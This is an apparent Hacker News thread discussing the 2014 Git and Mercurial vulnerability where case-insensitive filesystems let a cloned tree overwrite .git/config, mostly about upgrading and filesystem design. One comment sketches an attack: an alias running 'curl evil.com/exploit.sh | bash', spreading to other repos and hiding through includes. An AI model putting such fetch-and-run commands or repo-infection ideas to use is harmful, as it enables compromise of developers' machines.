818 points · by polemic · 11y ago · 177 comments
Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone...
There's an analogous vulnerability in Mercurial.
Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties.
EDIT: right, no "or", what are you doing reading this instead of updating?
http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_....
You'll need 3.2.3 to be secure.
So, update no matter what, unless you're not on an affected system?
(this is a question, not a statement)
I know of three: FAT (specifically vfat, these days), JFS with Option -O, and CIOPFS (Case Insensitive On Purpose Filesystem):
http://superuser.com/questions/290480/case-insensitive-parti...
http://linux.die.net/man/8/mkfs.jfs
http://manpages.ubuntu.com/manpages/hardy/man8/jfs_mkfs.8.ht...
http://www.brain-dump.org/projects/ciopfs/
Are there any more?
Also, can git run with .git/config being read only? That could be a useful second line of defense.
edit: Nevermind, short-lived issue. Just upgraded to 2.2.1.
brew update
brew upgrade gitEDIT: Macports just updated. I did it with
# port selfupdate # port upgrade outdated
and 2.2.1 came down.
If you have the Apple git, then you should
# port install git
(I am aware of all the - quite frankly ridiculous - complexity of Unicode characters that are visually identical and "should be treated as such for the purposes of comparison", but I think that's another example of excess complexity leading to things like directory-traversal attacks.)
This was actually a further bug, reported as part of the same CVE - you could also overwrite .git/config by adding any of a number of zero-width Unicode characters that many filesystems ignore when checking for filename equality (but string comparison doesn't, of course).
http://en.m.wikipedia.org/wiki/IDN_homograph_attack
What seems really scary about this is that even Unicode has several different ways of comparing strings, and the correct one depends on the exact situation, so the common response of "just use a library" doesn't work; for example, if a user were searching for a filename it might make sense for full-width characters to compare equal to half-width ones, but not if opening a file where you wouldn't want e.g. the full width version of /etc/passwd to be equivalent to the half-width one.
http://article.gmane.org/gmane.comp.version-control.git/7076...
"Having programs that get different results back from what they actually wrote, that tends to be a security issue"
Directory-traversal attacks work just as well with ASCII or byte sequences.
[1] of course, what is large becomes less and less important over time, thanks to Moore's law. On embedded devices, this still may be quite significant, though.
A path is an identifier. Just as it's infuriating and horrendous to have programming language identifiers act case-insensitively, it's a poor design choice to have path identifiers act case-insensitively.
I suspect that what you describe as a huge benefit to novice users is entirely seen in search functionality, where you are comparing a string (the search needle) against a number of paths (the haystack). Since this search should be conducted by converting the path to a string (never the other way around, that's nonsensical) it's perfectly natural to support CI operations on strings but forbid them on paths.
Sorry, but there's just no way around it.
The common complaint "but it's annoying to have to type in the filenames exactly" can be solved with tab-completion (I'm surprised how many CLI users don't know their shell has this feature), and using sane naming conventions like not GiVinG yOuR fIleS_stUpiD-NaMESLikEth1s.
brew update && brew upgrade gitYes it is
Now if you just do fetch and don't merge/rebase you're safe, still, this is a very rare occurence
brew update && brew upgrade
Without the git part specifically.Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew. Self-contained third party apps get a more managable space of base system profiles to target, and the installation UX can be as simple as drag/drop/app works. Us "special needs" users can then layer on and manage more esoteric and/or cutting-edge tools as needed with a full package manager. Heck, I was really glad to see Linuxbrew finally come to fruition for this very same reason. Have your cake and roll a newer-than-distro version of your tools too!
sudo port selfupdate
sudo port upgrade git
git --version fatal: unable to access 'https://github.com/Homebrew/homebrew/': The requested URL returned error: 503
Error: Failure while executing: git pull -q origin refs/heads/master:refs/remotes/origin/master
Weird, it's the first time it's ever happened.edit: wait, it worked after a couple of tries; maybe it's due to panicked people updating brew\git?
Also, your github profile picture is amazing.
ls -al /usr/bin/git
If it's not in fact a symlink then yes you should probably rename it to preserve it.sudo mv /usr/bin/git /usr/bin/git2
before the symlink.
> A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler.
It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor.
This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers.
[1] http://article.gmane.org/gmane.linux.kernel/1853266
edit: Upgrade ASAP!
git clone git://...
make
or anything similar, since you are running arbitrary code out of the repository. This release fixes the problem of: git clone git://...
git show
etc. Git cannot fix the "clone and run" problem, which is a social one. But it should be safe to run git commands to inspect the repository contents.The Git core team has announced maintenance releases for all current versions of Git (v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, and v2.2.1).
I have one Windows machine and went to update http://git-scm.com/download/win (preview Version 1.9.4)
It was released 3 months ago, on 2014-09-29.
https://msysgit.github.io (Version 1.9.5 preview BUT no documentation that this is for a security fix)
Doesn't seem like I can update my git client
Changes since Git-1.9.4-preview20140929
New Features ...
Bugfixes
* Safeguards against bogus file names on NTFS.
Edit: Actually, there it is on their git hub releases page. https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-pr...
I figured I could build from source if I really wanted and the downloads would be updated eventually but ... they have not.
Brian Harry's blog has more information and links to download URLs for the updates: http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulner...
did they find any problems? The post doesn't say...
* create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored"
* exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked)
* be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig
I always get a strange, uneasy feeiling when the tin foil hats turn out to be right.
I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to sign their releases with that "far too complex" GPG tool, but created their own lightweight "signify" tool instead. [1]
Ridiculously enough, this is not always the case (I weep for us).
Should they have known that Windows and MacOS sport case-insensitive filesystems? Definitely.
But, how does this have anything to do with bloat or complexity?
On Windows, certain path components that are different from ".git"
are mapped to ".git", e.g. "git~1/config" is treated as if it were
".git/config". HFS+ has a similar issue, where certain unicode
codepoints are ignored, e.g. ".g\u200cit/config" is treated as if
it were ".git/config"
So that's what ridiculous means. Huh.edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
Did I miss something?
also: https://stackoverflow.com/questions/19109542/installing-late...
You could pull down git hooks that root your box, pretty intense hack, update now!
1. http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-21...
It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists.
One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated.
Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.
By contrast, git is a tool that I manually invoke on the command line, and when the process terminates it's done. Having that phone home at runtime feels more invasive.
Maybe even a push update you can subscribe to.
➜ ~ git --version
git version 1.9.3 (Apple Git-50)
When I navigate to http://git-scm.com/download/mac it downloads 2.0.1 which was released on 6/29/14. How can I upgrade to 1.9.5?What about case-sensitive Mac file systems, like mine? I would imagine they are not vulnerable and that the author just overlooked this possibility in the article...
Maybe alert banners aren't in the git-scm.com css template.
edit: Is it that I'm on Linux? I changed a few UAs but the download image still reads "Downloads for Linux".
Then, make sure that HomeBrew versions are taking precedence: echo export PATH='/usr/local/bin:$PATH' >> ~/.bash_profile
i still got "git --version" to return 1.9.4 for mysisgit in git shell.
Is this normal ?